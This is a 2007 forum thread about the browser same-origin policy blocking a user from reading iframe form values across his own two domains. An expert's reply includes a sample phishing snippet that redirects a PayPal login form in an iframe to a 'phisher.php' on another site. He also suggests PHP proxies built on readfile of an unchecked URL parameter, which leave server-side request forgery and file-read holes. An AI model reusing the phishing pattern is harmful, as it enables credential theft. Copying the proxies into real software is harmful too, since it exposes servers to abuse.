Re-write document.location

Collapse
X
 
  • Time
  • Show
Clear All
new posts
  • designassassin
    New Member
    • May 2007
    • 6

    #1

    Re-write document.location

    Hi,

    I'm developing an app on one domain and want to read certain variables in to another domain.

    is it possible using an iframe?

    i keep getting security errors and i've tracked it down to the "document.locat ion."
    in the js.

    does anyone know if it's possible to re-write or side-step this?

    thanks
  • pbmods
    Recognized Expert Expert
    • Apr 2007
    • 5821

    #2
    Heya, designassassin. Welcome to TSDN!

    Originally posted by designassassin
    I'm developing an app on one domain and want to read certain variables in to another domain.
    I'm not sure I understand what you're trying to accomplish.

    Are you trying to define JavaScript variables in an iframe that you want to be accessible to the parent page?

    Or do you need to access server-side variables from the client side?

    Comment

    • designassassin
      New Member
      • May 2007
      • 6

      #3
      Thanks,

      I have an online app that for various reasons i had to build on a windows server. anyway, when this page is run in a browser it generates some variables that populate a form. stuff like 'page load time' etc...

      on a second domain i have another, more basic app (on a unix server) that runs some php commands to compile the data. i was hoping tthat, through an iframe i could load app 1 variables into app 2's page. but it doesn't work! :(

      I'm sure my code is sound - it's just as soon as i try to read the vars across domains it packs-up... i get a security error.

      is v frustrating because I'm at the final hurdle with this one.

      Comment

      • pbmods
        Recognized Expert Expert
        • Apr 2007
        • 5821

        #4
        Originally posted by designassassin
        when this page is run in a browser it generates some variables that populate a form. stuff like 'page load time' etc...

        on a second domain i have another, more basic app (on a unix server) that runs some php commands to compile the data. i was hoping tthat, through an iframe i could load app 1 variables into app 2's page. but it doesn't work!
        So you're trying to pass variables from page 1 to page 2... via what? AJAX? Using a form? Loading a new URL with GET variables?

        Originally posted by designassassin
        I'm sure my code is sound - it's just as soon as i try to read the vars across domains it packs-up... i get a security error.
        You will get a security error on most browsers if you try to fetch a page from a different domain using AJAX. This is to prevent XSS.

        The solution is to create a page on your server that uses file_get_conten ts to load the page from the other domain and then call that script with your AJAX call instead.

        Comment

        • designassassin
          New Member
          • May 2007
          • 6

          #5
          Thanks for your input.

          I'm just using a bit of javascript:

          [HTML]onClick="docume nt.myform2.myse ssion.value=win dow.frames['ifrm'].document.forms['frm_product'].elements['sessiontime'].value">[/HTML]

          Alternatively, As the final information is for my eyes only - i wondered if there was an old version of a browser that you could recommend that wouldn't give me security errors. This is not ideal but i think i could get by like this.

          Comment

          • pbmods
            Recognized Expert Expert
            • Apr 2007
            • 5821

            #6
            Originally posted by designassassin
            [HTML]onClick="docume nt.myform2.myse ssion.value=win dow.frames['ifrm'].document.forms['frm_product'].elements['sessiontime'].value">[/HTML]
            I think I understand why you are getting security errors with this statement.

            Suppose you created a website that looked something like this:

            [code=html]
            <html>
            <iframe id="thePfhrame " src="http://www.paypal.com/login"></iframe>
            <script type="text/javascript">
            document.getEle mentById('thePf hrame').documen t.forms[0].action = 'http://mysneakysite.co m/phisher.php';
            </script>
            </html>
            [/code]

            Assuming that the first form on paypal.com/login is the login form, you can see how somebody might set up a pretty convincing phishing page. Even if you right-click on the [frame] and select "show source", you'll see the source for the original PayPal login page.

            In order to be able to modify the contents of your iframe, you'd have to set it up so that it loads a page from the same domain as its parent.

            My recommendation would be to load the target page on the server side and output it, like this:

            [code=html]<iframe src="http://mysite.com/redirect.php?ur l=www.somesite. com%2Fpath%2Fto %2Fthe%2Fpage.e xt"></iframe>[/code]

            redirect.php:
            [code=php]
            readfile($_GET['url']);
            [/code]

            [EDIT: Of course, you could then abuse this in the example above by changing the form's source to http: //mysite.com/redirect.php?ur l=www.paypal.co m%2Flogin. But smart Users will check their location bar anyway.]

            Comment

            • designassassin
              New Member
              • May 2007
              • 6

              #7
              mmm.. interesting.

              am i right in thinking that i'd need to uplooad a php file on the target server (i.e. the one in the iframe)?

              if so, i'd like to try and avoid doing this if possible.

              here're the 2 domains i'm working with...

              my admin page (domain 1)


              my app page (domain 2)


              ...the thinking is you type some text into the box and click 'receive data' - this is basically what i want to be able to do.

              my example uses a flash form - but it can easily be an html form.

              please let me know if you can think of a way to do it so i don't have to upload another file to domain 2.

              thanks again.
              Last edited by designassassin; May 29 '07, 10:02 AM. Reason: Adding Links

              Comment

              • designassassin
                New Member
                • May 2007
                • 6

                #8
                I'm still stuck on this one. :(

                I'm thinking that there's a way to get a variable using php POST or GET

                am i on the right track?

                tnx

                Comment

                • pbmods
                  Recognized Expert Expert
                  • Apr 2007
                  • 5821

                  #9
                  Originally posted by designassassin
                  Try something like this:
                  [code=javascript]
                  function doSomething() {
                  document.getEle mentById('theEy ePfhrame').src = 'http://formworks.org/loadExternal.ph p?url=' + encodeURICompon ent('takeawaypl ace.com/gb/index2.html');
                  }
                  [/code]

                  Note that we leave off the 'http://www' from the target URL. This is important.

                  Then create loadExternal.ph p:
                  [code=php]
                  readfile("http://www.$_GET[url]");
                  [/code]

                  We put the 'http://www.' here so that a User couldn't modify the JavaScript and try to fetch '/etc/passwd' for example, or '/var/www/mysqlpassword.p hp', or.... Instead, we force the script to attempt to load a website.

                  Anyway, so there you have a script that accesses a page on the same domain, which loads the page from the other domain and directly echoes the output.

                  Once that page loads, since the domain is the same as the parent page, you should be able to access JavaScript variables from that page.

                  Comment

                  Working...